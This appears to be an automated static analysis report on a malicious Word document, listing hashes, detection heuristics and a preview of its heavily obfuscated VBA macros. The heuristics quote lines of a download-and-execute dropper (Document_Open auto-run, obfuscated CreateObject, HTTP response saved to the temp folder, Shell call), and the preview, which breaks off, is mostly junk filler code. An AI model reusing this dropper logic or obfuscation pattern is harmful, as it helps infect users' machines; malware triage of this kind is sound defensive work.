Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 92d96c87cc98b1c6…

MALICIOUS

Office (OLE)

593.5 KB Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 9f5fe57e8f040e22d46c59a06c91e70b SHA-1: addd7ea2496d4adcb156f937a21068de0954f536 SHA-256: 92d96c87cc98b1c6b3bbbf683b6850b33a08bbcc57c5387f195438344730a2cc
360 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The file contains heavily obfuscated VBA macros, including a Document_Open auto-execution routine. Critical heuristics indicate the macro attempts to download and execute a file from the internet using HTTP and CreateObject/Shell calls. The obfuscated nature and the download-and-execute behavior strongly suggest a dropper functionality, likely leading to the execution of a second-stage payload.

Heuristics 11

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
                Shell (iNrAW), 0
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        kjYovC = frFYqx.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set frFYqx = CreateObject("" & "" & tsQjqvh("MYinc*rpogsOoOfltJ.*XiMrLXHOTBTMPv") & "" & "")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set frFYqx = CreateObject("" & "" & tsQjqvh("MYinc*rpogsOoOfltJ.*XiMrLXHOTBTMPv") & "" & "")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Call revCnZef.SaveToFile(Environ(tsQjqvh("T@e%m.p]")) & tsQjqvh("\L\RHtKqAnZ?XfL*.(eqx)ez"), 2 + 1 - 1)
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 200661 bytes
SHA-256: c32d564e3838c5f8249c52b2cd858ae594be2ef5401c3b580f9df99eddd249a8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
1978 of 2911 identifiers look randomly generated (e.g. 'PRFAWVWEktgdOGFfTBJySPNZCdEwLmlMWtwXfaRP') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function NelQhp(kHgUhny As String, WPGsGu As Boolean, YqXtfam As String, zBYYVa As Boolean) As String
    dczpFwMkKYa = Space(5)
    JmcQixCc = 198 - 1014 - 421
    ETnLsWVqdpWE = 1808 + 1735 + 1159
    FZDkljo = Left("AQAGlT) Rag@Q ]_$", 5)
    EQzQe = StrReverse("KeCu]bLlRUwzW(iYSRC")
    jNuyDHOZJSF = Right("%qgo&l&QAwmEj*xwg&", 4)
    ETnLsWVqdpWE = Space(16)
    While eUYZrF < 4
        jNuyDHOZJSF = Left("ShkPfj!?d@LR!.[qiI]", 5)
        vaXLxAhB = Space(19)
        KYDvt = 1162 - 1834 - 1429
        dczpFwMkKYa = Left("&R^h?n-gLLft", 4)
        SOyIW = StrReverse("zS$cwnLzooWpM!G")
        JmcQixCc = Left("ejqbq(mr#]a-LAIo%#", 4)
        eUYZrF = eUYZrF + 1
    Wend

    FZDkljo = 678 + 575 + 596
    jNuyDHOZJSF = Right("dNqjVhp)EPkbHzh^hu", 3)
    ETnLsWVqdpWE = UCase("$pbe$clu g ")
    SOyIW = LTrim("^_CQgKwHMBsbRjx")
    vaXLxAhB = 862 - 180 - 861
    KYDvt = Left("vHpDbC(^Wh(&OvM", 5)
    KYDvt = 1768 + 1556 + 273
    JmcQixCc = Left("SUm@]Lh!xj L", 4)
    vaXLxAhB = LTrim("EDZS!XRPl@tY)")
    KYDvt = 1402 + 1958 + 996
    SOyIW = "MlG(^?W$HJ" + "bzEHs[MPq!IZr#V" + "-iQpdBUZGQ"
    HtkXkw = 313 - 1606 - 1406
    jNuyDHOZJSF = Left("zxUXZOSD.PlNc.MFsrMw", 4)
    For EUjBom = 0 To 4
        For eCVSHg = 0 To 7
            dczpFwMkKYa = UCase("QeS_yoRtQv .zaJ)D")
            JmcQixCc = Space(15)
            brRjb = UCase("tA#Z)uXjqiSFSyKIt")
        Next eCVSHg

        trBGiYXTr = 1734 + 1045 + 1061
        trBGiYXTr = RTrim("-ZcHSHc-SL")
        EQzQe = UCase("Jz N*!cKDe#*tcE?U")
        lgPRkUW = Right("y AtC#)lYiaD", 5)
        dczpFwMkKYa = LTrim("fCpnMf!#B!")
        jNuyDHOZJSF = LTrim("#bzbLx N[P ^Pk!Ip")
        JmcQixCc = LTrim("LGZoJuWdWtTTa*")
        trBGiYXTr = RTrim("!-C LkstwMwk.")
        dczpFwMkKYa = StrReverse("qT%@gZeu!N&$MtLLH*")
        FZDkljo = LTrim("k]YxF!PVYzn??sGQ")
    Next EUjBom

    JmcQixCc = Right("B.#pm(YFxQ", 3)
    For MrPMHZ = 0 To 7
        ETnLsWVqdpWE = 1134 + 843 + 1664
        tSgkmMoj = StrReverse("WAsgIjaHVq")
        HtkXkw = UCase("^ZnfhX.T]IhKD[Uc")
    Next MrPMHZ

    HtkXkw = UCase("RFaZZ%PzRL]hLWGIC")
    vOyduuCKbS = Space(13)
    KYDvt = UCase("_o_hq#?pqqgZfK)d^i")
    brRjb = Right("nLUgd!MjeqX&?N", 3)
    FZDkljo = RTrim("ogqmnul_%j")
    FZDkljo = UCase("k*dgFbJUS[$E *byNavf")
    EQzQe = UCase("Bvxf- Cm?tQlILMqVVd")
    While UBIWZv < 2
        While QnkdkJ < 3
            lgPRkUW = Space(20)
            tSgkmMoj = 1436 - 1262 - 1908
            QnkdkJ = QnkdkJ + 2
        Wend

        ETnLsWVqdpWE = UCase("V%l.knOmlMh)]#zaJH")
        vOyduuCKbS = 1462 + 1007 + 689
        EQzQe = Space(11)
        ETnLsWVqdpWE = UCase("lFiIjPQH(VFOXljYe@")
        FZDkljo = LTrim(" xRY$GFOhkHh^")
        tSgkmMoj = "(jlM)j?H*mdFm" + "hkZNon-yT]UXpR$" + "ZeFFVJOG !LY-zgM^E"
        dczpFwMkKYa = 1131 - 1458 - 1580
        KYDvt = 242 + 297 + 1532
        lgPRkUW = LTrim("!g!)Hg&n@py")
        SOyIW = StrReverse("K ohgL]y&@bqAi nL_No")
        UBIWZv = UBIWZv + 3
    Wend

    vaXLxAhB = "GGlSHz@&y[q!ql" + "k!sosU[I!mI)akOO%" + "c(W MK(xF]Y!MUSBMZ!("
    While ozbVnG < 4
        dczpFwMkKYa = 997 + 585 + 874
        lgPRkUW = 690 + 645 + 264
        tSgkmMoj = RTrim("eiOLOMmd&Lx!w@ct(zh")
        tSgkmMoj = RTrim("dyOlX&ZqNC[g%N&Ea")
        EQzQe = StrReverse("JzwoJ&kh#n*(G-z")
        vaXLxAhB = Space(14)
        dczpFwMkKYa = StrReverse("U[LV&vbv-wNBg")
        dczpFwMkKYa = RTrim("QsULK@uMm#ARkeXsjQSu")
        lgPRkUW = LTrim("ewBurall$*ECjnMM")
        vaXLxAhB = Space(6)
        ozbVnG = ozbVnG + 2
    Wend

    HtkXkw = UCase("fyKV LJ#a!")
    dczpFwMkKYa = RTrim(")bB$v wBcP?ICC)")
    NelQhp = "AgVeTHnTqSJSVhXIvbccdsyaIaHoJWciILbE"
End Function

Private Sub gyewhq(ysSiXUu As Boolean, iSukOt As Integer, UXaWIA As Double, yZpKWW As Integer, FyAeGbd As String)
    FZDkljo = StrReverse("HRC]GpUER^NIl")
    FZDkljo = Space(13)
    While GXlhwb < 5
        vOyduuCKbS = RTrim(")]o)S].d#HsspyVusNXb")
        vOyduuCKbS = UCase("]yH#r-y.a)]")
        trBGiYXTr = 1845 - 230 - 104
        FZDkljo = Space(1)
        JmcQixCc = RTrim("uy[K.LnebLdp")
        lgPRkUW = RTrim("WrFqiOp[Me")
        JmcQixCc = UCase("e%.i$@zfKXOMucz)h")
        FZDkljo = "ID_dp*Dk( U*vCvr" + "Ku(tjAM?LS_jSJ!d" + "(F#sGZ[rekyIEB"
        ETnLsWVqdpWE = "FY#hMO&lTGFED[ieP" + "EMkAXxmC.zd-TrWpT" + "a$W]uAIIT]OWT*NMo!]"
        GXlhwb = GXlhwb + 2
    Wend

    vOyduuCKbS = 808 + 1848 + 1355
    vaXLxAhB = RTrim("GGoXfcA_PVuC*B")
    EQzQe = 922 + 717 + 1058
    KYDvt = UCase("cy^WoCb)(xho#g")
    EQzQe = 786 - 689 - 599
    jNuyDHOZJSF = 1607 + 1601 + 292
    HtkXkw = 745 - 353 - 303
    SOyIW = UCase("ZPG!B.afS@g#BSqP")
    While zBHxQR < 1
        EQzQe = UCase("fcZrgZi)BKA-qcdZE%ou")
        FZDkljo = LTrim("COadbqDZcsTKh UmCF")
        SOyIW = UCase("&fpNVX^yyi.")
        FZDkljo = LTrim("*NaxzHEmW#Ww")
        KYDvt = Left("??sXkJ^pzaBmGD^sh.", 4)
        jNuyDHOZJSF = "emX#aPm.bAfylz" + "?TETf$vlTnDzu" + "VbdoIVmVHuxWlXPlx"
        KYDvt = Space(16)
        JmcQixCc = Space(5)
        dczpFwMkKYa = RTrim("fxQZojCfYLefGmk")
        zBHxQR = zBHxQR + 3
    Wend

    HtkXkw = Space(6)
    For BheLmx = 0 To 9
        EQzQe = RTrim("@WGbCS&QMuETivkBJG)O")
        KYDvt = 235 + 1653 + 252
    Next BheLmx

    For dcrwaf = 0 To 1
        For YyialZ = 0 To 7
            KYDvt = Right("PHFDi(iORj)VVZ#R", 3)
            dczpFwMkKYa = LTrim("-@jF#]vF*?uvOV")
            vOyduuCKbS = 399 + 120 + 1001
            HtkXkw = Space(9)
        Next YyialZ

        vaXLxAhB = 411 + 683 + 130
        jNuyDHOZJSF = 911 + 1205 + 406
        dczpFwMkKYa = 1085 - 633 - 584
    Next dcrwaf

    tSgkmMoj = UCase("]mnZ!kKfMpPcs")
    JmcQixCc = Right("CvmpJtzq_k#Q", 3)
    HtkXkw = UCase("*-Cjw#WcPDdCxq")
    dczpFwMkKYa = RTrim("LLcHB ueUdtLSEa.P")
    jNuyDHOZJSF = StrReverse("Byn#^OOgEPsFV")
    vaXLxAhB = Space(4)
    jNuyDHOZJSF = 580 - 390 - 262
    lgPRkUW = Left("@Duda. h)vEfrg-tw.", 4)
    dczpFwMkKYa = LTrim("!SQp^Ax.[z$hV!Q_!")
    While MUClMA < 2
        tSgkmMoj = Left("bOOz@WHzhCsaWABYwbp", 3)
        KYDvt = LTrim("kBhwc?xy#OJzNaMqC")
        FZDkljo = UCase("O]pY^qvfA#tS-O.uH")
        dczpFwMkKYa = Right("BOG&^uJ-IcB]gb", 2)
        brRjb = UCase("NNhBvL&euN]di")
        ETnLsWVqdpWE = UCase("XYfwey*sCfM")
        SOyIW = Right("R_ FM n!w@VB&)ZRK", 4)
        vaXLxAhB = 1286 - 118 - 173
        MUClMA = MUClMA + 2
    Wend

    ETnLsWVqdpWE = Space(11)
    trBGiYXTr = 542 - 381 - 1854
    KYDvt = 569 - 1204 - 1778
    dczpFwMkKYa = StrReverse("APZW]zqs(uV")
    tSgkmMoj = "c(PFhkbiEG$p" + "O&Il]e[H%SvPGxyq" + "Qm$Hv!rWlqL-adveAX"
    EQzQe = RTrim("SuF&hf&np&")
    vaXLxAhB = Space(19)
    SOyIW = Space(20)
    JmcQixCc = Right("%E^STx$^]MJrTA", 3)
    dczpFwMkKYa = LTrim("qWnBFuooXg!M[iSYAJT")
    HtkXkw = StrReverse("jeYf[jt]oE]K(AU")
    SOyIW = 277 + 595 + 726
    tSgkmMoj = Left("ZZ#t(SaB!To&", 5)
    FZDkljo = RTrim("-hio(L^smE")
    ETnLsWVqdpWE = StrReverse("OgB*#(*R^cW!j.v")
End Sub

Private Function TEGqtJ(yYXkRy As Double, OfavvKt As String, DHyyvi As Boolean, EZczkQZ As String) As String
    KYDvt = Right("rS$U^EtICxQ", 5)
    HtkXkw = 266 + 213 + 1219
    For XkKHgY = 0 To 4
        While PgjFdG < 2
            jNuyDHOZJSF = Right("sUtH^I&wrS$g", 2)
            brRjb = LTrim("r&lGUV%QQfIgYt(")
            dczpFwMkKYa = "cKaxb.Wznlvd_jg&ob" + "Kpv _RnfccWsF#lP" + "RdK-rhbk@mOu"
            vaXLxAhB = "S_uTY$g@e&P*AmWRyf" + "h?SkQ^lrsT^-" + "(UpGIina-w(AOsT&n-$v"
            dczpFwMkKYa = UCase("QFJL&lb*V^_s&%ma")
            lgPRkUW = Left("FahQ*F@p@F(k&NaRER", 2)
            PgjFdG = PgjFdG + 2
        Wend

        lgPRkUW = RTrim("]yTxJ?DQl*v?)&iH!")
        jNuyDHOZJSF = 1050 + 840 + 1514
        tSgkmMoj = UCase("!KExkOl@Sqg.MRMpE")
        brRjb = RTrim("xIp&VFIyUwLG[Gd)Wtsm")
        ETnLsWVqdpWE = "]CfJ!y.xNnX_eit" + "gS*L*RSXBQdZvV" + "mHJOo)ybce"
        JmcQixCc = Left("snIO-@AGVb", 2)
        brRjb = Right("&T([KFLUt-ux*]gQTjfC", 3)
        SOyIW = 1771 + 591 + 1332
        JmcQixCc = LTrim("UWkWo[zaSWFR[qQXdq")
        FZDkljo = RTrim(")pg#DkXYeupYqtwE!")
    Next XkKHgY

    EQzQe = StrReverse("iS#^(^t)Y]JaMMz")
    JmcQixCc = Space(14)
    SOyIW = Right(" dPeoE*dhh.QwMM", 4)
    SOyIW = LTrim("gyY^?LeeA*&)vYVL")
    trBGiYXTr = "(ac@nAv eUc.PDcdXQUE" + "bLKtkJ)])iytCMXN%xIE" + "[XhomzXE*_YXplE#co"
    jNuyDHOZJSF = StrReverse("C(xlAc(&]xJ_QBZcizz")
    While eLmKMt < 2
        For wkGTxW = 0 To 7
            KYDvt = StrReverse("CAw_NzwiR%Zh*W")
            brRjb = StrReverse("Qn][YrFv^OI@mvN-e")
            ETnLsWVqdpWE = Right("BXhlurBnf&U", 5)
            FZDkljo = UCase("uNdrYc_.YUnQrdc%QX")
        Next wkGTxW

        trBGiYXTr = LTrim("b@lmZNW[?iJ[ rUC")
        HtkXkw = "oYDT$hQiF_" + "NKgD$venb^NkLHglN" + "on_H-pywmc.nM.KNGk"
        brRjb = Right("L)ynFO$YwMlD&", 2)
        trBGiYXTr = UCase("^a.mVUsksZ")
        KYDvt = Left("rISnRiv@sDk%@AS", 5)
        SOyIW = Left("wmgC@jeR[$gFKJ$Y.D#W", 5)
        FZDkljo = Left("ft?EMPAwyYE tJ)RT", 2)
        FZDkljo = "-z[pylk* UkU*" + "qbk-j*@Ocf#uKQVZR)YK" + "]RgO.ltsJAI"
        ETnLsWVqdpWE = RTrim("oVhKGRW.AzENz")
        vOyduuCKbS = Right("w.YT.[SpR@caqW.I_Gkn", 5)
        eLmKMt = eLmKMt + 1
    Wend

    ETnLsWVqdpWE = Space(3)
    lgPRkUW = "$XpPJXhma]t.elaJ" + "mwekhuyKqY k?Gigw*R" + "-j?k)leMZG$Jx%uyYx"
    EQzQe = UCase("y]hFeFp&ckNIWcUN")
    brRjb = LTrim("nYiw$Q&LnV?xI_sMw.zx")
    ETnLsWVqdpWE = Left("#_I(dPlxjA(_b", 3)
    vaXLxAhB = 1792 - 1400 - 1914
    FZDkljo = StrReverse("Z[UTni&pQo.lsG?nFoMU")
    JmcQixCc = Right("Kuas[vB&-gcIsjd !o", 5)
    vaXLxAhB = RTrim(" qymSOD.ALcvOORk")
    vOyduuCKbS = Right("FTqRfLR#o##", 4)
    TEGqtJ = "VkLjnXoBwsKsUHhXzvZe"
End Function

Private Sub MImqwQ(nrOiqj As Integer, hIItfVz As Double, CVQtJw As Double, LPYUNh As Boolean, VfRnAuI As Boolean)
    SOyIW = 1459 - 717 - 957
    brRjb = Space(9)
    trBGiYXTr = Left("rKDJT!Hcy#", 5)
    brRjb = Left("CZuZ[tUyPFtVC]VmG]", 4)
    FZDkljo = Space(5)
    For YbdVdV = 0 To 7
        tSgkmMoj = 1814 - 957 - 1546
        HtkXkw = Right("tghLqiJeIjt]oG", 2)
        brRjb = RTrim("thx#WMbVD]%]Uy*")
        vaXLxAhB = StrReverse("HXiyYq%GVPUMz")
        EQzQe = LTrim("VaK-(.JswvA*Lk(kDb")
        ETnLsWVqdpWE = 1318 - 766 - 354
    Next YbdVdV

    dczpFwMkKYa = RTrim("y@jLrMme#-fgyyYGkEoW")
    For UFltWL = 0 To 5
        For veIEDU = 0 To 8
            EQzQe = "fhnF)aV%Xyt*IbjaB-@" + "Mi.HhGYRcg%rorzV_.E" + "o?iU#D[FEfw&cE"
            FZDkljo = Left("oupqas#JUv.dSWHApYp", 5)
        Next veIEDU

        dczpFwMkKYa = Left("mkT?FD?m?&Od-EXTu", 4)
        ETnLsWVqdpWE = RTrim("ux&xxgkR-@")
        dczpFwMkKYa = "SAUM(D(vmpEm?l?U*Cu" + "kSfTc%m%yeMNyG#a(RtZ" + "ddTuU.dSl@**Mr v"
        HtkXkw = StrReverse("NPav[BiYYKrG?[")
    Next UFltWL

    trBGiYXTr = Space(10)
    trBGiYXTr = UCase("V?)slHeATS")
    jNuyDHOZJSF = Space(16)
    EQzQe = LTrim("-EDfj-eQqUSk")
    jNuyDHOZJSF = Left("SNx]A_HZslt", 2)
    lgPRkUW = Space(17)
    SOyIW = UCase("]HzgeyONdmpDBiNZGl")
    vOyduuCKbS = RTrim("i%c^T#qvjfeIOqZTV")
    dczpFwMkKYa = Right("T$*E^]owI)IbhQtrsY", 2)
    ETnLsWVqdpWE = "Q_gU*xO *P_C." + "ArYBQb^V@B^.(Yvp" + "P[OebXxLfp#m%&j(N*Rw"
    HtkXkw = LTrim("n?[[E lIN_D$@ZgD")
    jNuyDHOZJSF = UCase("sFtqX]DGHKvyC")
    FZDkljo = Left("$#GQzK%(llH!fJRbgLd@", 2)
    For fOxUVO = 0 To 1
        While accPVW < 2
            tSgkmMoj = "UJW)pRYxtYEs@" + "_x@?Gw?A.__MadrN&S%S" + "VZalAKHP]FWD@i"
            jNuyDHOZJSF = UCase("QI#Uv(Pz!m@y")
            tSgkmMoj = Right("FG]f aXjgU", 2)
            accPVW = accPVW + 3
        Wend

        ETnLsWVqdpWE = Right("RgZXpUp[UZB^Gx", 5)
        EQzQe = StrReverse("%J mag%MD-r")
        vaXLxAhB = Space(19)
        vaXLxAhB = 1126 - 384 - 1579
        EQzQe = StrReverse("besZW EmH@I")
        HtkXkw = UCase("EEXSkOftEiY^ITDW@ !O")
        EQzQe = Right("nXB&fW_O%UgPb", 5)
    Next fOxUVO

End Sub

Private Sub VhaciW(HCmjcPB As Boolean, hnbXwKd As String)
    ETnLsWVqdpWE = LTrim("qOtHk^?tASfeO&")
    SOyIW = Space(11)
    JmcQixCc = "^faJQ irKp" + "jcplJ(ms-AQPq" + "iQW&xZf!$_&x-sxMnI"
    SOyIW = RTrim("-GnlTRoVuy&U]U^AW")
    SOyIW = RTrim("p_mJG.vypxygRLULzR&")
    dczpFwMkKYa = UCase("so^F$V*K@Udf_S")
    lgPRkUW = "MRP_F#(BhOrzA" + "pi^hlw#zxX#e$" + "v.#pZJkyXzn?l"
    JmcQixCc = StrReverse("s_DuAuEr#g-J_z#mI ")
    EQzQe = 376 - 783 - 471
    ETnLsWVqdpWE = Space(3)
    vaXLxAhB = 1933 + 1198 + 199
    FZDkljo = UCase("ml%WmG_!*pRpl")
    HtkXkw = RTrim("v&j))@^w]?LyJJ?(")
    For SZKowI = 0 To 7
        JmcQixCc = Right("-YZkCC]z?!s-)", 4)
        jNuyDHOZJSF = StrReverse("@ZTfrW!Mi@[-NVt@Urs")
        vaXLxAhB = LTrim("t*Drd*aMtA##?L")
        KYDvt = StrReverse("iIKh[$!&X##noqFVE#")
        EQzQe = 1564 - 923 - 1286
        KYDvt = 1060 - 166 - 1815
        lgPRkUW = StrReverse("pHgyfWK_ yV-E@(tpouS")
        EQzQe = 1223 + 626 + 1433
        EQzQe = 1666 - 149 - 269
    Next SZKowI

    vOyduuCKbS = StrReverse("bz$aeDzsu*C]_(&")
    trBGiYXTr = LTrim("&^ %YsLOL#ssdc@-m$")
    vOyduuCKbS = Left("D?QrEoboWD)jqVLkO$", 4)
    SOyIW = LTrim("YXuy[iLpEB")
    vaXLxAhB = 1208 - 560 - 556
    jNuyDHOZJSF = Space(17)
    EQzQe = 1687 - 1004 - 1915
    While dZXVLD < 3
        vaXLxAhB = Right("v#!uQ(XU%-^inIrF!r-X", 3)
        vaXLxAhB = UCase("U_Zfr)FeD(%kdIj")
        tSgkmMoj = LTrim("c&vl tn WnM")
        jNuyDHOZJSF = StrReverse("[*MOJmhpOqmnyCo")
        EQzQe = Space(16)
        HtkXkw = 155 + 1274 + 546
        dZXVLD = dZXVLD + 3
    Wend

    While pBGKtI < 1
        For AemAcx = 0 To 5
            vOyduuCKbS = StrReverse("!.(WNlUxCHmyJSbx")
            jNuyDHOZJSF = LTrim("L&pRJ#$?X.)")
            EQzQe = RTrim("cJx*ef* [NGWDPT_CqX")
        Next AemAcx

        trBGiYXTr = Space(11)
        vaXLxAhB = StrReverse("EeaRbo^mQ@UeUcVZc.Ij")
        tSgkmMoj = LTrim("i#.r(LF(Xu]Fr*j&iqW")
        tSgkmMoj = 800 - 841 - 566
        KYDvt = UCase("MySFvOZzB*")
        JmcQixCc = 429 - 1490 - 978
        pBGKtI = pBGKtI + 1
    Wend

End Sub

Private Function jhMqjY(mZeQkzf As Boolean, qQGhncQ As Double, USMLhiz As Integer) As String
    brRjb = 793 + 411 + 1714
    JmcQixCc = RTrim(".Jf qkZ$Dby")
    trBGiYXTr = UCase("gbuQF#b.aakHjWFEYL m")
    vOyduuCKbS = UCase("ymuaTPm&FGaKbg!Q]u")
    jNuyDHOZJSF = LTrim("b)xqT[Ib[_[YijKZF?")
    While Rjpvez < 2
        lgPRkUW = "NvzH[b#b_Ri(!mxQntB" + "#CzGb)PyCvWPJL" + "cE*w]cqqNZjxnH)gU_"
        vaXLxAhB = 1554 - 1487 - 1872
        vaXLxAhB = UCase("VYbYGlw]dJEeki_V_@ca")
        ETnLsWVqdpWE = RTrim("lvVRq?yWZJbE_LreOqL")
        Rjpvez = Rjpvez + 2
    Wend

    SOyIW = StrReverse("cKEfvbBJ-kg#matS")
    vaXLxAhB = RTrim("fz_pYxZpW[AIxYx_p")
    brRjb = 1587 + 306 + 1420
    EQzQe = StrReverse("yR^$B$TkTWVf@")
    HtkXkw = 844 + 738 + 1194
    ETnLsWVqdpWE = Left("w?C[(pCOp@aAzS*tiho", 5)
    vOyduuCKbS = 878 + 1736 + 1627
    trBGiYXTr = "HU^vseYP&bTOlmMCP" + "Y.(fOrue_bg(XQKs" + "uBV ?n)b]ORC#"
    For KuhaNA = 0 To 6
        vOyduuCKbS = UCase("eb?!#C%OsTz&)-fs")
        vaXLxAhB = UCase("_YnbAdu-ZR#kfyP!O")
        EQzQe = Right("dro]Gd&r?PKbH) Eh", 4)
        vaXLxAhB = Left("N!P?UYqoIhu", 3)
        EQzQe = Space(10)
        tSgkmMoj = RTrim("HHX.sen[aIxqycAGQh")
        jNuyDHOZJSF = LTrim("Cxt%%YEYGPx J!VjT")
        trBGiYXTr = 1019 + 1572 + 1256
        EQzQe = RTrim("O]pTwgO*u?m!KJcT#PWY")
    Next KuhaNA

    EQzQe = Space(12)
    FZDkljo = StrReverse("!q g)n h_P$k")
    brRjb = Right("txnnDN]tqT", 2)
    ETnLsWVqdpWE = ")HE)BwHqq)OzWi" + "BcKzYk_l#y(FAkXx.rZK" + "L.!z wZFPabsGFP!#E.#"
    trBGiYXTr = RTrim("h&voQFFMOG")
    SOyIW = RTrim("fb_LuOZXP-W")
    HtkXkw = UCase("a#$EF@AQ-pz$!gogKQrC")
    FZDkljo = StrReverse("otbwyC!v?&AKU")
    For CdtDky = 0 To 2
        While LiPSxV < 3
            trBGiYXTr = Left("$R%&V Waim.-v ", 3)
            EQzQe = StrReverse(". elbuVHCfDU$]Y!hPq")
            lgPRkUW = Space(1)
            vOyduuCKbS = Space(8)
            dczpFwMkKYa = 278 + 194 + 1901
            jNuyDHOZJSF = 1308 - 1341 - 846
            FZDkljo = StrReverse("[_yss_RJPnDqa_j")
            ETnLsWVqdpWE = RTrim("kqPcrH[-Jqrk&ZEaycV")
            vaXLxAhB = Left("rpvMrJgNJAxSKu-s .h", 5)
            LiPSxV = LiPSxV + 3
        Wend

        KYDvt = 305 - 1392 - 197
        vaXLxAhB = Left("sE(dwwTxjq", 4)
        vOyduuCKbS = RTrim("iMfa.tHdQHZQdjs")
        tSgkmMoj = Right("tms!mE?-CVnmk", 4)
        ETnLsWVqdpWE = Right("ZLlg#$kPnEk*!  LGKxA", 5)
        vaXLxAhB = 254 - 811 - 1884
        JmcQixCc = Left("(W^HF^YV[RFqHgiiec@[", 4)
        dczpFwMkKYa = Left("kySUXpEQ^.", 5)
        dczpFwMkKYa = Space(7)
        vaXLxAhB = Space(6)
    Next CdtDky

    While kEhLVp < 2
        For VSrkof = 0 To 5
            FZDkljo = 1987 + 1031 + 536
            jNuyDHOZJSF = StrReverse("J$_SukuZw]wRtZuOw")
            tSgkmMoj = 1501 + 1242 + 1396
            vaXLxAhB = Right("(uh]gO!N&&", 3)
            vaXLxAhB = UCase("JaS?-K[fOOwHiv")
            FZDkljo = 228 + 831 + 1642
            brRjb = LTrim("yMQ&W)A@C ]ZP")
        Next VSrkof

        vaXLxAhB = 618 - 1863 - 132
        tSgkmMoj = LTrim("G$I&LzG_IyoVyoxaKf(n")
        SOyIW = StrReverse("HLmkkXUVPeqUpKd")
        EQzQe = Right("dCd.OckcMa", 5)
        dczpFwMkKYa = "V$TTNtugN%eTNT" + "TeMx(-# A!" + "NGMYxNyE[@R.dt!@bUad"
        lgPRkUW = 728 - 1898 - 1263
        lgPRkUW = Right("mZlrtIKpRw", 5)
        jNuyDHOZJSF = StrReverse("osv(QmxGgnv_^OyAYuQ")
        vOyduuCKbS = "&ldqLt_L !@(-(IflX-f" + "(ratz%)_igAhK$]n" + "m$R(N_]^^o*l"
        kEhLVp = kEhLVp + 1
    Wend

    JmcQixCc = 162 + 808 + 486
    dczpFwMkKYa = RTrim("srr%(Fe@Q$ThhZ")
    lgPRkUW = 751 - 1409 - 598
    vaXLxAhB = Space(7)
    JmcQixCc = StrReverse("IiCOYiNXQUXuBt.@*SS*")
    vOyduuCKbS = 1573 + 1877 + 1269
    HtkXkw = 1885 + 1299 + 887
    brRjb = Right("s(XlIZr_)(bv!HH&#", 5)
    While pQAoMe < 1
        dczpFwMkKYa = Left("xMgbUsBVNN@", 3)
        EQzQe = 485 - 369 - 488
        EQzQe = StrReverse("bMvbaDW@&jZldOsoB")
        vaXLxAhB = 382 - 841 - 737
        SOyIW = Right("iZAKdfYHScocI", 5)
        vOyduuCKbS = Left("J]yb%N[eznzj", 5)
        pQAoMe = pQAoMe + 2
    Wend

    jhMqjY = "UQYUEdVEHBTVSZBPuWnrFQXgmEkoRRQUSk"
End Function

Private Sub axwOXY(wezYBv As Double, WNEkddK As Boolean, sQXBxH As Double)
    vaXLxAhB = Space(13)
    For vAsIFP = 0 To 3
        For Cxjjah = 0 To 8
            trBGiYXTr = "VW(qQ.np$whKmqm&QoHJ" + "x$m$tRF!&%g" + "TX#^nue.Q_"
            vaXLxAhB = LTrim("tl-mu!@CVpfIbc")
        Next Cxjjah

        tSgkmMoj = StrReverse("vlEf*IHJ#q$I")
        SOyIW = RTrim("CBXWzv%t%-gkn?FKFUwa")
        vOyduuCKbS = StrReverse("gb#pBjCZ@H_kQ]uSX%g")
        JmcQixCc = "B]PoGSpqZ]%f" + "JHmUv^Shzhw*" + "X?XBmj-PK#?L!"
        dczpFwMkKYa = Left("Sqy bSq._Z", 4)
        vOyduuCKbS = Left("lG@W-rLG!xC(X#O", 5)
        brRjb = 1197 + 1570 + 298
        SOyIW = 236 - 1543 - 872
    Next vAsIFP

    EQzQe = 1450 - 1065 - 224
    EQzQe = 1847 - 1658 - 353
    brRjb = 1014 + 634 + 1098
    FZDkljo = StrReverse("@f)gI(.^uZbE")
    tSgkmMoj = StrReverse("Aohxk)tf[Rb")
